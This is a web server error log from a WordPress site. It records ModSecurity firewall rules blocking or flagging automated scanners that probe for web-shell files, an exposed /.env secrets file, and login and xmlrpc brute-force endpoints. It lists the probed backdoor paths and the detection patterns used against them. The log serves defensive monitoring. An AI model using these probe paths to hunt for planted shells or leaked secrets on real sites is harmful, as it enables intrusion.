[Mon Mar 02 11:18:00.988800 2026] [:error] [pid 21575:tid 21585] [client 20.63.83.113:33969] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aaUBaCrocdArcJqFfInPrgAAAUY"]
[Mon Mar 02 11:18:23.072790 2026] [proxy_fcgi:error] [pid 31257:tid 31285] [client 20.63.83.113:3835] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 12:24:05.739517 2026] [:error] [pid 23872:tid 23897] [client 64.227.14.240:56864] [client 64.227.14.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.14.240, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaUQ5UzkQFuA2qBk8UMVSQAAAZY"]
[Mon Mar 02 12:24:05.750145 2026] [proxy_fcgi:error] [pid 23872:tid 23897] [client 64.227.14.240:56864] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 12:24:07.735126 2026] [:error] [pid 28908:tid 28913] [client 64.227.14.240:62745] [client 64.227.14.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.227.14.240, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaUQ54qJmC8ih_lQQnBz0gAAAMM"]
[Mon Mar 02 12:24:07.740619 2026] [proxy_fcgi:error] [pid 28908:tid 28913] [client 64.227.14.240:62745] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 17:58:37.553271 2026] [:error] [pid 28847:tid 28872] [client 212.154.66.199:37272] [client 212.154.66.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.154.66.199, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaVfTZ9xbBq8VfeqVDas0wAAANc"]
[Mon Mar 02 17:58:37.565303 2026] [proxy_fcgi:error] [pid 28847:tid 28872] [client 212.154.66.199:37272] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 17:59:33.118423 2026] [:error] [pid 59601:tid 59661] [client 103.196.221.57:63210] [client 103.196.221.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.196.221.57, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaVfhcQ1lXfvWN0-ZQltdwAAAFc"]
[Mon Mar 02 17:59:33.130680 2026] [proxy_fcgi:error] [pid 59601:tid 59661] [client 103.196.221.57:63210] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 21:54:53.900673 2026] [:error] [pid 59734:tid 59754] [client 40.85.218.182:15864] [client 40.85.218.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaWWrZeWQx7ZQG9NybE0cwAAAVI"]
[Mon Mar 02 21:54:54.737436 2026] [:error] [pid 28847:tid 28870] [client 40.85.218.182:15826] [client 40.85.218.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaWWrp9xbBq8VfeqVDZsSAAAANU"]
[Mon Mar 02 21:54:55.571586 2026] [:error] [pid 28847:tid 28860] [client 40.85.218.182:15818] [client 40.85.218.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaWWr59xbBq8VfeqVDZsUQAAAMs"]
[Mon Mar 02 21:54:56.409902 2026] [:error] [pid 59701:tid 59725] [client 40.85.218.182:15834] [client 40.85.218.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wk/index.php"] [unique_id "aaWWsOUmTDVso96U9_Lg8QAAARU"]
[Mon Mar 02 23:20:12.320331 2026] [:error] [pid 28847:tid 28870] [client 20.151.114.166:22725] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aaWqrJ9xbBq8VfeqVDatPwAAANU"]
[Mon Mar 02 23:20:13.162102 2026] [:error] [pid 28847:tid 28859] [client 20.151.114.166:22549] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aaWqrZ9xbBq8VfeqVDatRAAAAMo"]
[Mon Mar 02 23:20:13.996409 2026] [:error] [pid 59600:tid 59612] [client 20.151.114.166:22590] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aaWqrYQ5lE4yocV9IBeoUgAAAAM"]
[Mon Mar 02 23:20:14.838663 2026] [proxy_fcgi:error] [pid 28847:tid 28868] [client 20.151.114.166:22578] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 23:20:15.051411 2026] [proxy_fcgi:error] [pid 28847:tid 28849] [client 20.151.114.166:22578] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 23:20:15.263660 2026] [proxy_fcgi:error] [pid 28847:tid 28871] [client 20.151.114.166:22578] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 23:20:15.474586 2026] [proxy_fcgi:error] [pid 28847:tid 28850] [client 20.151.114.166:22578] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 23:20:15.694632 2026] [proxy_fcgi:error] [pid 28847:tid 28870] [client 20.151.114.166:22578] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 23:20:15.905892 2026] [proxy_fcgi:error] [pid 28847:tid 28854] [client 20.151.114.166:22578] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 23:20:16.117679 2026] [proxy_fcgi:error] [pid 28847:tid 28869] [client 20.151.114.166:22578] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 23:20:16.329489 2026] [proxy_fcgi:error] [pid 28847:tid 28867] [client 20.151.114.166:22578] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 23:20:16.545231 2026] [proxy_fcgi:error] [pid 28847:tid 28866] [client 20.151.114.166:22578] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 23:20:16.756524 2026] [proxy_fcgi:error] [pid 28847:tid 28857] [client 20.151.114.166:22578] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 23:20:16.967546 2026] [proxy_fcgi:error] [pid 28847:tid 28859] [client 20.151.114.166:22578] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 23:20:17.175220 2026] [:error] [pid 28847:tid 28860] [client 20.151.114.166:22578] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class_api.php"] [unique_id "aaWqsZ9xbBq8VfeqVDatUwAAAMs"]
[Mon Mar 02 23:20:18.010974 2026] [:error] [pid 59734:tid 59752] [client 20.151.114.166:22732] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class_api.php"] [unique_id "aaWqspeWQx7ZQG9NybFOTAAAAVA"]
[Mon Mar 02 23:20:18.834800 2026] [:error] [pid 28847:tid 28858] [client 20.151.114.166:22585] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class_api.php"] [unique_id "aaWqsp9xbBq8VfeqVDatVAAAAMk"]
[Mon Mar 02 23:20:19.659577 2026] [:error] [pid 59600:tid 59611] [client 20.151.114.166:22739] [client 20.151.114.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class_api.php"] [unique_id "aaWqs4Q5lE4yocV9IBeoWwAAAAI"]
[Tue Mar 03 02:00:53.971323 2026] [:error] [pid 18556:tid 18771] [client 20.151.217.152:40849] [client 20.151.217.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/cah.php"] [unique_id "aaXQVX9AYyTTd2eEk9FH1gAAABA"]
[Tue Mar 03 02:00:54.400708 2026] [proxy_fcgi:error] [pid 60214:tid 60238] [client 20.151.217.152:40925] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 02:00:54.821729 2026] [proxy_fcgi:error] [pid 60214:tid 60231] [client 20.151.217.152:40925] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 02:00:55.032139 2026] [proxy_fcgi:error] [pid 60214:tid 60229] [client 20.151.217.152:40925] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 02:00:55.242778 2026] [proxy_fcgi:error] [pid 60214:tid 60216] [client 20.151.217.152:40925] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 02:00:55.453949 2026] [proxy_fcgi:error] [pid 60214:tid 60224] [client 20.151.217.152:40925] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 02:00:55.664117 2026] [proxy_fcgi:error] [pid 60214:tid 60238] [client 20.151.217.152:40925] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 02:00:55.874423 2026] [proxy_fcgi:error] [pid 60214:tid 60227] [client 20.151.217.152:40925] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 02:00:56.084443 2026] [proxy_fcgi:error] [pid 60214:tid 60226] [client 20.151.217.152:40925] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 02:00:56.300605 2026] [proxy_fcgi:error] [pid 60214:tid 60237] [client 20.151.217.152:40925] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 02:00:56.506725 2026] [:error] [pid 60214:tid 60224] [client 20.151.217.152:40925] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaXQWImuQ_v4S3RkLisb8AAAAQg"]
[Tue Mar 03 02:00:56.918905 2026] [:error] [pid 60214:tid 60233] [client 20.151.217.152:40847] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaXQWImuQ_v4S3RkLisb8gAAARE"]
[Tue Mar 03 02:00:57.330071 2026] [:error] [pid 60214:tid 60229] [client 20.151.217.152:40943] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaXQWYmuQ_v4S3RkLisb9AAAAQ0"]
[Tue Mar 03 02:00:57.740895 2026] [:error] [pid 60214:tid 60233] [client 20.151.217.152:40955] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaXQWYmuQ_v4S3RkLisb-wAAARE"]
[Tue Mar 03 02:00:58.152601 2026] [:error] [pid 18558:tid 18872] [client 20.151.217.152:40936] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf-shell.php"] [unique_id "aaXQWrO1kQHjTOLioCnQKwAAAJI"]
[Tue Mar 03 02:00:58.565504 2026] [:error] [pid 18558:tid 18873] [client 20.151.217.152:40929] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asf.php"] [unique_id "aaXQWrO1kQHjTOLioCnQLQAAAJM"]
[Tue Mar 03 02:00:58.975294 2026] [:error] [pid 18960:tid 18971] [client 20.151.217.152:40934] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asf.php"] [unique_id "aaXQWtCu09icM9oIHwD0nwAAAMg"]
[Tue Mar 03 02:00:59.387036 2026] [:error] [pid 18558:tid 18871] [client 20.151.217.152:40947] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asf.php"] [unique_id "aaXQW7O1kQHjTOLioCnQNAAAAJE"]
[Tue Mar 03 02:00:59.797008 2026] [:error] [pid 18558:tid 18868] [client 20.151.217.152:40926] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asf.php"] [unique_id "aaXQW7O1kQHjTOLioCnQNgAAAI4"]
[Tue Mar 03 02:01:00.207794 2026] [:error] [pid 18558:tid 18861] [client 20.151.217.152:40930] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php"] [unique_id "aaXQXLO1kQHjTOLioCnQOQAAAIc"]
[Tue Mar 03 02:01:00.618192 2026] [:error] [pid 18960:tid 18972] [client 20.151.217.152:40892] [client 20.151.217.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php"] [unique_id "aaXQXNCu09icM9oIHwD0ogAAAMk"]
[Tue Mar 03 11:23:48.317690 2026] [:error] [pid 36785:tid 36872] [client 187.49.12.153:51859] [client 187.49.12.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.49.12.153, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaZURHhJejauENG9qTjVVAAAAJY"]
[Tue Mar 03 11:23:48.330025 2026] [proxy_fcgi:error] [pid 36785:tid 36872] [client 187.49.12.153:51859] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 11:25:08.176625 2026] [:error] [pid 36784:tid 36825] [client 124.105.190.85:55563] [client 124.105.190.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.105.190.85, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaZUlHNeKOSGbW9kDgQIsQAAAEI"]
[Tue Mar 03 11:25:08.190438 2026] [proxy_fcgi:error] [pid 36784:tid 36825] [client 124.105.190.85:55563] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 20:52:44.214115 2026] [proxy_fcgi:error] [pid 36785:tid 36855] [client 40.75.5.122:37072] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 20:52:44.664408 2026] [:error] [pid 36785:tid 36850] [client 40.75.5.122:37072] [client 40.75.5.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.75.5.122, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "aabZnHhJejauENG9qTjmqgAAAIA"]
[Tue Mar 03 20:52:44.887487 2026] [proxy_fcgi:error] [pid 36785:tid 36868] [client 40.75.5.122:37072] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 20:52:45.793884 2026] [proxy_fcgi:error] [pid 36785:tid 36864] [client 40.75.5.122:37072] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 20:52:46.502171 2026] [proxy_fcgi:error] [pid 36785:tid 36855] [client 40.75.5.122:37072] AH01071: Got error 'Primary script unknown'
[Tue Mar 03 20:52:46.710432 2026] [:error] [pid 36785:tid 36866] [client 40.75.5.122:37072] [client 40.75.5.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabZnnhJejauENG9qTjmtAAAAJA"]
[Tue Mar 03 20:52:47.551480 2026] [:error] [pid 36783:tid 36803] [client 40.75.5.122:7370] [client 40.75.5.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabZnz4tNYh5NtLaTXe8ugAAAAk"]
[Tue Mar 03 20:52:48.401351 2026] [:error] [pid 36784:tid 36838] [client 40.75.5.122:37271] [client 40.75.5.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabZoHNeKOSGbW9kDgTQpAAAAE8"]
[Tue Mar 03 20:52:49.239124 2026] [:error] [pid 36784:tid 36842] [client 40.75.5.122:37258] [client 40.75.5.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabZoXNeKOSGbW9kDgTQqAAAAFM"]
[Tue Mar 03 22:11:33.665632 2026] [:error] [pid 36897:tid 36920] [client 178.16.53.90:59380] [client 178.16.53.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aabsFSZC69_8eM0UouufPwAAANI"]
[Wed Mar 04 00:31:54.294109 2026] [proxy_fcgi:error] [pid 48807:tid 48826] [client 20.151.200.236:9032] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 00:31:54.503253 2026] [proxy_fcgi:error] [pid 48807:tid 48828] [client 20.151.200.236:9032] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 00:31:54.925219 2026] [proxy_fcgi:error] [pid 48807:tid 48815] [client 20.151.200.236:9032] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 00:31:55.157781 2026] [proxy_fcgi:error] [pid 48807:tid 48809] [client 20.151.200.236:9032] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 00:31:56.777362 2026] [proxy_fcgi:error] [pid 48807:tid 48825] [client 20.151.200.236:9032] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 00:31:57.040220 2026] [proxy_fcgi:error] [pid 48807:tid 48832] [client 20.151.200.236:9032] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 00:31:57.267707 2026] [proxy_fcgi:error] [pid 48807:tid 48819] [client 20.151.200.236:9032] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 00:31:57.686976 2026] [:error] [pid 48807:tid 48814] [client 20.151.200.236:9032] [client 20.151.200.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aacM_Q9v35BN-51vqYZRZgAAAQU"]
[Wed Mar 04 00:31:58.525782 2026] [:error] [pid 48407:tid 48704] [client 20.151.200.236:8430] [client 20.151.200.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aacM_j7Td6SiHn8fwfm0KAAAAI0"]
[Wed Mar 04 00:31:59.358328 2026] [:error] [pid 48807:tid 48831] [client 20.151.200.236:8415] [client 20.151.200.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aacM_w9v35BN-51vqYZRdAAAARY"]
[Wed Mar 04 00:32:00.202674 2026] [:error] [pid 48807:tid 48813] [client 20.151.200.236:8433] [client 20.151.200.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aacNAA9v35BN-51vqYZReQAAAQQ"]
[Wed Mar 04 01:53:37.357446 2026] [proxy_fcgi:error] [pid 48405:tid 48589] [client 20.127.131.187:28074] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 01:53:37.576817 2026] [proxy_fcgi:error] [pid 48405:tid 48572] [client 20.127.131.187:28074] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 01:53:37.796905 2026] [proxy_fcgi:error] [pid 48405:tid 48582] [client 20.127.131.187:28074] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 01:53:38.014964 2026] [proxy_fcgi:error] [pid 48405:tid 48578] [client 20.127.131.187:28074] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 01:53:38.233000 2026] [proxy_fcgi:error] [pid 48405:tid 48576] [client 20.127.131.187:28074] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 01:53:38.452141 2026] [proxy_fcgi:error] [pid 48405:tid 48579] [client 20.127.131.187:28074] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 01:53:38.686205 2026] [proxy_fcgi:error] [pid 48405:tid 48585] [client 20.127.131.187:28074] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 01:53:38.905727 2026] [proxy_fcgi:error] [pid 48405:tid 48587] [client 20.127.131.187:28074] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 01:53:39.124008 2026] [proxy_fcgi:error] [pid 48405:tid 48574] [client 20.127.131.187:28074] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 01:53:39.342658 2026] [proxy_fcgi:error] [pid 48405:tid 48583] [client 20.127.131.187:28074] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 01:53:39.560526 2026] [proxy_fcgi:error] [pid 48405:tid 48569] [client 20.127.131.187:28074] AH01071: Got error 'Primary script unknown'
[Wed Mar 04 01:53:39.774539 2026] [:error] [pid 48405:tid 48581] [client 20.127.131.187:28074] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aacgIxBIGeGp5MBz7gJ3UwAAAAw"]
